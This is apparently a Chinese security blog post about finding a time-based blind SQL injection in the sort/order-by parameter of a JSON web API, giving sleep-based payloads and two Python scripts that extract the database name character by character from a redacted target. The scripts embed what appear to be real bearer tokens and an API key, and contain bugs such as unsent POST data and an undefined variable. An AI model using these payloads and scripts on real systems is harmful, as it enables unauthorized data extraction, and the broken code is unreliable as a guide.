一、确定问题点
现在的web系统中大量运用了json的形式进行数据传输并不好发现sql注入,并且可以针对返回的数据进行判断,肯定不会存在报错或布尔型的问题。
所以重点关注了排序这个点上了, 我们可以看到存在问题的传输格式和其他的参数是不一样的,先是限定了列名,然后选择升降序,这样就可以推测他是将这两项进行了拼接。
二、测试命令语句
经过实验,发现报错内容不同,可说明与其他参数并不是同一种编写方式。
但报错内容仍然只有一种,帮可以排除布尔,报错等类型注入形式,可以探测的注入类型就仅剩下一种了:时间型盲注,直接在目标后加入测试语句。
,(select*from(select(sleep(10)))a)
返回成功,判断确实存在注入漏洞
三、工具思路
3.1 Post数据包利用
利用python的数据包发送来批量测试目标内容
(select*from(select(if(substr(database(),%d,1)=\’%s\’,sleep(20),1)))a)
(select*from(select(if(length(database())>%s,sleep(10),0)))a)
# coding:utf-8 import requests import datetime import time # 数据包 url = 'https://xxxxxxxxxxxxxxxxxxx/api/m2/ap/api/voucher/v1/query' headers = { "Host": "", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Accept": "application/octet-stream, application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8", "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiR2VuZ2ppYS5nYW9AZGV0ZWNvbi5jb20iLCI2MjdjMjEzNWFkNTk0YjMyOTNmNGRlZDA3MzMzNTI2NCJdLCJleHAiOjE1OTY0NDY3ODB9.KMcM2mlorp6Y8bQXZ-1HlQpPOiiqTFAD3qNSbVGEfBs", "Auth-Type": "ssofed", "Ocp-Apim-Subscription-Key": "1565cb134db542ff9c8da8ebc1838e9c", "Connection": "close", "Referer": "https://xxxxxxxxxxxxxxxxxxxxx/cmt/" } # 获取数据库名长度 def database_len(): for i in range(1, 20): data = '{"pageSize":20,"pageFlag":true,"orderByList":[{"column":"vType","direction":"asc,(select*from(select(if(length(database())>%s,sleep(10),0)))a)"}],"pageNum":1}'% i time1 = datetime.datetime.now() r = requests.get(url=url, headers=headers) print url time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec < 1: break print('database_len:', i) len=database_len database_len() #获取数据库名 def database_name(): name = '' for j in range(1, 15): for i in 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.': data = '{"pageSize":20,"pageFlag":true,"orderByList":[{"column":"vType","direction":"asc,(select*from(select(if(substr(database(),%d,1)=%s,sleep(10),1)))a)"}],"pageNum":1}' % (j, i) # print(url+payload+'%23') time1 = datetime.datetime.now() r = requests.get(url=url1, headers=headers) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >= 1: name += i print(name) break print('database_name:', name) database_name()
3.2 Get数据包利用
利用python的数据包发送来批量测试目标内容 在这里我要说明一下,我的是针对目标做了定向的简单修改的,比如在我的测试过程中GET包内如果放入字母进行对比的话就会报错,无法实现注入了所以我利用了ascii码对比的形式进行了测试。
(select*from(select(if(length(database())<{0},sleep(10),0)))a)
(select*from(select(if(ascii(substr(database(),{1},1))={0},sleep(10),1)))a)
# coding:utf-8 import requests import datetime import time headers = { "Host": "xxxxxxxxxxxxxxx", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8", "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiR2VuZ2ppYS5nYW9AZGV0ZWNvbi5jb20iLCI1OGJmZThiNDUzMTk0Zjg0YjI4NjA3MzY0YjRlYzk3OCJdLCJleHAiOjE1OTY1MDg0NDZ9.Rgod2OR-V9JburoqtMe3ympVeRaD0LZsIevObzcV7Uw" } chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' for l in range(1,100): #print('length not is ' + str(l)) Url = 'https://xxxxxxxxxxxxxxxxxxxxxxx/cmt-api/cmt/campaigns?pageNum=1&pageSize=10&sort=-created_time,(select*from(select(if(length(database())<{0},sleep(10),0)))a)' UrlFormat = Url.format(l) #format()函数使用 print UrlFormat start_time0 = time.time() #发送请求前的时间赋值 requests.get(UrlFormat,headers=headers) if time.time() - start_time0 > 9: #判断正确的数据库长度 print('database length is ' + str(l)) global length length = l #把数据库长度赋值给全局变量 break else: pass database = '' for j in range(1,length): for i in range(49,125): Url = 'https://xxxxxxxxxxxxxxxxx/cmt-api/cmt/campaigns?pageNum=1&pageSize=10&sort=-created_time,(select*from(select(if(ascii(substr(database(),{1},1))={0},sleep(10),1)))a)' UrlFormat = Url.format(i,j) #format()函数使用 #print UrlFormat start_time0 = time.time() #发送请求前的时间赋值 requests.get(UrlFormat,headers=headers) a = time.time() - start_time0 #print a if a > 8: #判断正确的数据库长度 print(i) print chr(i) database += chr(i) print database break else: pass
四、以后的想法
对于代码的未来,有如下的想法
1.加入数据包直接调用的功能
2.针对0值永真的修改
3.进行线程上的优化
4.在GET方法的代码中关于ascii码的内容进行优化
5.进行整体代码的逻辑重构(这个是吹NB)
来源:freebuf.com 2020-08-13 11:58:03 by: Loren麟
请登录后发表评论
注册